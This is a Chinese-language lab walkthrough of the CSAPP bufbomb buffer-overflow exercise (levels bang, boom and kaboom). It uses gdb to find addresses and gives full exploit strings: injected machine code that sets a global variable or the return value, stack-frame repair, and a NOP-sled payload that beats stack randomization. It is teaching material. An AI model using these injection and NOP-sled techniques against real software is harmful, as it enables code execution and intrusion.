CSAPP lab3 bufbomb-緩沖區溢出攻擊實驗(上)smoke fizz
CSAPP lab3 bufbomb-緩沖區溢出攻擊實驗(下)bang boom kaboom
棧結構鎮樓
這里先給出getbuf的反匯編代碼和棧結構,方便下面的使用。
棧結構:
第2關:bang
構造攻擊字符串作為目標程序輸入,造成緩沖區溢出,使目標程序能夠執行bang函數;並且要篡改全局變量global_value為cookie值,使其判斷成功。但我們知道全局變量放置在bss節或data節,並不存放在棧中,前面的方法只能修改棧中的內容,無法修改全局變量的內容。那我們需要換一種思路,先構建一段惡意代碼,通過該段惡意代碼,修改全局變量的值,以及其他操作。
我們需要將惡意代碼放置在攻擊字符串中,使得getbuf返回之后,首先執行這段惡意代碼,然后再執行bang函數。
先看一下bang的源碼:
#define NORMAL_BUFFER_SIZE 32 void test() { int val; /* Put canary on stack to detect possiblecorruption */ volatile int local = uniqueval(); val = getbuf(); /* Check for corruption stack */ if (local != uniqueval()) { printf("Sabotaged!: the stack has beencorrupted\n"); } else if (val == cookie) { printf("Boom!: getbuf returned0x%x\n", val); validate(3); } else { printf("Dud: getbuf returned0x%x\n", val); } } int getbuf() { char buf[NORMAL_BUFFER_SIZE]; Gets(buf); return 1; } int global_value = 0; void bang(int val) { if (global_value == cookie) { printf("Bang!: You set global_value to 0x%x\n", global_value); validate(2); } else printf("Misfire: global_value = 0x%x\n", global_value); exit(0); }
先找到全局變量的位置:在bang函數里看到有兩個內存地址,正好和源程序里的判斷相等對應,接下來確定哪一個是全局變量。
0x804d100和0x804d108那一個是全局變量?
這里我用gdb調試
gdb bufbomb
在getbuf函數設斷點,運行,查看一下兩個地址的值,很明顯,0x804d100是全局變量。
注意這里的調試方法設置完斷點后運行的指令
(gdb) r -u stu
這里的stu是userid !
到這里全局變量也找到了,那么我們也就能寫出惡意代碼來了。
movl $0x4f802594,0x804d100//將cookie賦值給全局變量 push $0x08048cad //函數bang的地址壓入棧 ret
將惡意代碼保存到擴展名為.s的匯編代碼文件,然后用gcc –m32 –c 編譯成.o可重定位目標文件,然后objdump –d 反編譯出機器碼。
這是惡意代碼,我們需要的是這些16進制的機器碼,我把它們放到buf區域里,然后執行就可以了。要執行這些代碼就需要讓控制流可以跳到這,只要把這段惡意代碼的首地址放到getbuf函數的返回地址處就可以了,也就是buf緩沖區的首地址放到getbuf函數返回地址。接下來找buf緩沖區的首地址:
看一下getbuf函數,發現,在圖中0x80491f7處,ebp減小開辟了一段空間,也就是buf區域,eax寄存器中放的就是該空間的首地址,即buf首地址。
用gdb調試,我們在0x80491fd也就是call gets之前設置斷點來查看eax寄存器中的內容,查看eax的值。
處理成小端也就是
e8 39 68 55
最終編寫的惡意代碼:
c7 05 00 d1 04 08 94 /*movl $0x4f802594,0x804d100*/ 25 80 4f 68 ad 8c 04 08 /*push $x08048cad*/ c3 /*ret*/ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 39 68 55 /*buff首地址0x556839e8*/
將其保存到一個txt文件中,用管道輸入,通過hex2raw之后輸入bufbomb程序。
完成!
第3關:boom
前面的攻擊都是使目標程序跳轉到特定函數,進而利用exit函數結束目標程序運行,在這個過程中我們都把原來的恢復現場需要用的返回地址和原test的ebp給破壞了。Boom這一關中,我們將修復這些被我們破壞的棧狀態信息,讓最后還是回到test中,讓被攻擊者不容易發現我們動了手腳,
另外,構造攻擊字符串,使得getbuf都能將正確的cookie值返回給test函數,而不是返回值1。設置返回值也就是更改eax(eax中保存的就是函數的返回值)的值,可以用mov指令設置eax存的為cookie值。更改完要進入test函數繼續執行下面的指令,也就是下圖中這個位置,將這個地址壓棧。
void test() { int val; /* Put canary on stack to detect possiblecorruption */ volatile int local = uniqueval(); val = getbuf(); /* Check for corruption stack */ if (local != uniqueval()) { printf("Sabotaged!: the stack has beencorrupted\n"); } else if (val == cookie)///getbuf函數返回值為cookie { printf("Boom!: getbuf returned0x%x\n", val); validate(3); } else { printf("Dud: getbuf returned0x%x\n", val); } }
綜合起來惡意代碼就是:
/*cookie0x4f802594*/ movl $0x4f802594,%eax //將返回值修改為cookie pushl $0x8048dce //將call getbuf函數的下一條要執行的指令的地址壓入返回地址 ret //用ret來執行返回地址
用同bang那關一樣的方法,得到字節碼:
惡意代碼准備好了,將返回地址更改為指向這個代碼的位置,把惡意代碼放到buf緩沖區內,返回地址和bang一樣。
接下來要恢復ebp的值,先得到ebp舊值。
gdb調試:在getbuf第一行,push ebp 設置斷點。查看ebp的值。
ebp=0x55683a40,即40 3a 68 55
用這個值覆蓋ebp值。ebp值在返回地址的低方位,放在返回地址前。
最終編寫的惡意代碼:
b8 94 25 80 4f /*movl $0x4f802594,%eax */ 68 ce 8d 04 08 /*pushl $0x8048dce */ c3 /*ret*/ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 3a 68 55 /*old ebp:0x55683a40*/ e8 39 68 55 /*buff首地址0x556839e8*/
將其保存到一個txt文件中,用管道輸入,通過hex2raw之后輸入bufbomb程序。
nice!
第4關:kaboom
這一關難度比前面都大。但也是承接上一關的,構造攻擊字符串使getbufn函數,返回cookie值至testn函數,而不是返回值1,需要將cookie值設為函數返回值,復原被破壞的棧幀結構,並正確地返回到testn函數。但這一關與之前最大的不同在於地址空間隨機化,每次攻擊,被攻擊函數的棧幀內存地址都不同,也就是函數的棧幀位置每次運行時都不一樣,不能准確地跳轉到棧空間的某個特定地址。因此,要想辦法保證每次都能夠正確復原原棧幀被破壞的狀態,使程序每次都能夠正確返回。
進入這一關需要加入-n選項,調的函數是testn和getbufn,而不是前面的test和getbuf。這道題有5個test case,要都通過才算過。
說點題外話這一關還有一個別名Nitro 硝化甘油,這是一種不穩定的火葯,其實從這里也暗示了這一關的攻擊不穩定。
先看一下源碼:
#define KABOOM_BUFFER_SIZE 512 void testn() { int val; volatile int local = uniqueval(); val = getbufn(); /* Check for corrupted stack */ if (local != uniqueval()) { printf("Sabotaged!: the stack has been corrupted\n"); } else if (val == cookie) { printf("KABOOM!: getbufn returned 0x%x\n", val); validate(4); } else { printf("Dud: getbufn returned 0x%x\n", val); } } int getbufn() { char buf[KABOOM_BUFFER_SIZE]; Gets(buf); return 1; }
在這一關buffersize也從32增大到了512,這個做法是有意義的。
大概的思路是,雖然棧的初始地址不同,但會在一些范圍里浮動,所以我們需要把我們的代碼填在512字節的最后幾個字節里,並且前面全面的空間都填上nop(編碼為0x90
)。不管我們跳轉到哪個nop,最后都會執行到我們的代碼。
ebp是隨機的,但是ebp相對esp是絕對的,根據上面的圖中結合棧結構得出
ebp = esp + 0x24 + 4 = esp + 28
getbufn函數返回后要從0x8048e4a開始執行,將這個地址壓棧。
設置cookie給eax。
綜合得出惡意代碼為:
mov $0x4f802594,%eax //將返回值修改為cookie lea 0x28(%esp),%ebp //ebp=esp+28 push $0x8048e4a //將call getbufn函數的下一條要執行的指令的地址壓入返回地址 ret
轉換為字節碼:
再回到getbufn函數:
要填入0x208+4+4=528字節。
因為隨機,不知道程序會跳到哪里,所以把惡意代碼放到最后面,用nop滑行。
(nop不會執行任何操作,只有PC加一,機器碼是90。)
所以,前面塞滿90,最后面寫上惡意代碼程序,以及最后要跳的位置。
尋找要跳的地址:
由於隨機化,buf首地址不確定。用gdb調試:在0x8049218設斷點,看eax的值。(每執行一次,要用c命令繼續,進而執行下一次)
如此這樣五次,注意這次調試時運行r需要加入-n
(gdb) r -nu stu
這樣獲得了5個buf起始地址。
0x55683808 0x556837a8 0x55683878 0x55683858 0x556837a8
取最高地址0x55683878(78 38 68 55)作為返回地址,這樣就會一路滑行到惡意代碼,執行惡意代碼。
綜上:
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 /*100*/ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 /*200*/ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 /*400*/ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 /*500*/ 90 90 90 90 90 90 90 90 90 b8 94 25 80 4f /*mov $0x4f802594,%eax*/ 8d 6c 24 28 /*lea 0x28(%esp),%ebp */ 68 4a 8e 04 08 /*push $0x8048e4a */ c3 78 38 68 55 /*0x55683878*/
同上管道輸入。
注意:需要注意的是因為在Nitro模式下主程序需要讀五次input以滿足執行五次的需要,因此在執行./hex2raw程序時請注意添加 -n flag以保證input string 被復制五次每次以\n結尾以結束每次的gets()函數調用。
完結撒花!